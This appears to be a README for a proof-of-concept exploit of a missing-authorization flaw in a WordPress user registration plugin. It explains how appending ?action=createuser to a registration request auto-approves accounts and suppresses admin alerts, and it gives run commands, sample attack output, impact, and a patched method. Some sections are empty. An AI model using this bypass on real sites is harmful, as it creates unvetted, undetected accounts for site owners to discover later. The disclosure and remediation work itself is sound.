CVE-2026-6145 — User Registration & Membership for WordPress: Unauthenticated Admin Approval Bypass

Proof-of-concept exploit for CVE-2026-6145, a missing authorization vulnerability in the User Registration & Membership plugin for WordPress (≤ 5.1.5) that allows unauthenticated attackers to bypass the admin approval requirement when creating new accounts.

Summary

Vulnerability Details

Root Cause

The is_admin_creation_process() method in includes/class-ur-user-approval.php is the sole gate determining whether a new registration should be treated as an administrator-initiated creation. When this method returns true, two side effects occur:

• set_user_status() sets the new user's status to APPROVED, skipping the pending-approval queue.
• send_request_notification_to_admin() suppresses the admin notification email for the new registration.

The method itself, in version 5.1.5, contains no authentication, authorization, or nonce verification:

// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
    return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}

Because $_REQUEST merges $_GET, $_POST, and $_COOKIE, an unauthenticated attacker can satisfy this check by adding ?action=createuser to the URL of a registration form submission. The plugin then auto-approves the account and never alerts the administrator.

Exploitation Chain

While CVE-2026-6145 specifically addresses the missing authorization in is_admin_creation_process(), full unauthenticated exploitation against a hardened registration form requires chaining it with two ancillary issues in the same plugin version, both of which the included PoC handles automatically:

The result: a fully approved user account, created without administrator interaction or notification, on a site that explicitly requires admin approval for new registrations.

Proof of Concept

Requirements

• Python 3.8+
• requests library
• A test target running User Registration & Membership ≤ 5.1.5 with:
  • Registration enabled
  • Admin approval login option enabled
  • A known registration form ID (visible in the form's page source as data-form-id)

Installation

git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests

Usage

python3 poc_admin_approval_bypass.py <target_url> <form_id>

Example:

python3 poc_admin_approval_bypass.py http://wp.example.lab 7

Expected Output

======================================================================
  User Registration v5.1.4 - Admin Approval Bypass PoC
  CVE: 2026-6145 | CWE-862
  Affects: User Registration & Membership <= 5.1.5
======================================================================

[*] Target:  http://wp.example.lab
[*] Form ID: 7

[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5

[*] STEP 2: Registering user with admin approval bypass
    Username: poc_bypass_1747249200
    Email:    [email protected]
[+] Registration request processed (HTTP 200)

[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database

======================================================================
  RESULTS
======================================================================
  Unauthenticated Nonce Generation:  CONFIRMED
  AJAX Nonce Bypass:                  CONFIRMED
  Admin Approval Bypass (CVE-...):    CONFIRMED

  [!] User was created with AUTO-APPROVED status
  [!] Admin was NOT notified of this registration
======================================================================

Verification

After running the PoC, log into wp-admin and check Users → All Users:

• The created account appears with status Approved.
• A user registered through the normal form during the same window remains Pending.
• The admin notification mailbox contains no email for the bypass account.

Impact

On WordPress sites that use admin approval as the primary gate against unwanted account creation — common for membership sites, gated communities, internal portals, B2B platforms, and any site requiring identity verification before access — this vulnerability silently neutralizes that control. Specific consequences include:

• Bypass of business-logic access controls: any registration-gated content or functionality (membership-only pages, restricted forums, gated downloads) becomes reachable without administrator vetting.
• Defeat of fraud and abuse mitigation: sites using admin approval to filter out spam, fake, or fraudulent registrations lose that filter entirely.
• Stealth account provisioning: because the admin notification is also suppressed, the unauthorized accounts can persist undetected until a manual user audit.
• Pivot for further attacks: an approved low-privilege account is a foothold for subsequent privilege escalation, content abuse, or exploitation of other authenticated-only vulnerabilities in the same site.

The CVSS score reflects integrity-only impact (no direct data confidentiality loss or service disruption), but real-world impact scales with how heavily the affected site relies on the approval workflow as a security boundary.

Affected Versions

Remediation

For Site Administrators

1. Update immediately to the latest version of User Registration & Membership (> 5.1.5).
2. Audit Users → All Users for unexpected approved accounts created since the vulnerable version was installed. Pay particular attention to accounts with no corresponding admin notification email.
3. Rotate credentials and review activity for any suspicious accounts identified.
4. If immediate update is not possible, disable public registration in WordPress settings as a temporary mitigation.

For Developers / Code Reference

The vulnerable method should require both a capability check and a valid nonce:

protected function is_admin_creation_process() {
    return current_user_can( 'create_users' )
        && isset( $_REQUEST['action'] )
        && 'createuser' === $_REQUEST['action']
        && isset( $_REQUEST['_wpnonce_create-user'] )
        && wp_verify_nonce(
               wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
               'create-user'
           );
}

Disclosure Timeline

References

• Wordfence Advisory — CVE-2026-6145
• NVD — CVE-2026-6145
• CWE-862: Missing Authorization
• WordPress Plugin Repository — User Registration & Membership

Related Vulnerabilities in the Same Plugin

Researchers tracking this plugin's authorization model may also be interested in:

• CVE-2026-1492 — Unauthenticated Privilege Escalation (≤ 5.1.2)
• CVE-2026-1779 — Authentication Bypass via register_member (≤ 5.1.2)
• CVE-2026-4056 — Broken Access Control on Content Access Rules REST API (5.0.1 – 5.1.4)
• CVE-2026-6203 — Unauthenticated Open Redirect (≤ 5.1.4)

Credits

Research, discovery, and PoC development:

Anthony Cihan Offensive Security Lead — Obviam

If you reference this work, please cite CVE-2026-6145 with attribution to Anthony Cihan / Obviam.

Legal and Ethical Notice

This proof-of-concept is published for defensive research, detection engineering, and authorized security testing only. It is intended to assist:

• WordPress site administrators verifying patch deployment
• Security vendors developing detection signatures and WAF rules
• Researchers studying authorization-control patterns in WordPress plugins
• Educators and students in offensive and defensive security programs

The original research was conducted in an authorized lab environment under signed agreement, with coordinated disclosure to the vendor via the Wordfence Responsible Disclosure Program prior to public release.

Running this PoC against any system you do not own or do not have explicit written authorization to test is illegal under the U.S. Computer Fraud and Abuse Act (18 U.S.C. § 1030), the U.K. Computer Misuse Act 1990, the E.U. Directive 2013/40/EU, and equivalent legislation in most jurisdictions. The author and Obviam disclaim all liability for misuse of this code.

By using this repository you acknowledge that you have read, understood, and accepted these terms.

License

Released under the MIT License. Attribution required per the credits section above.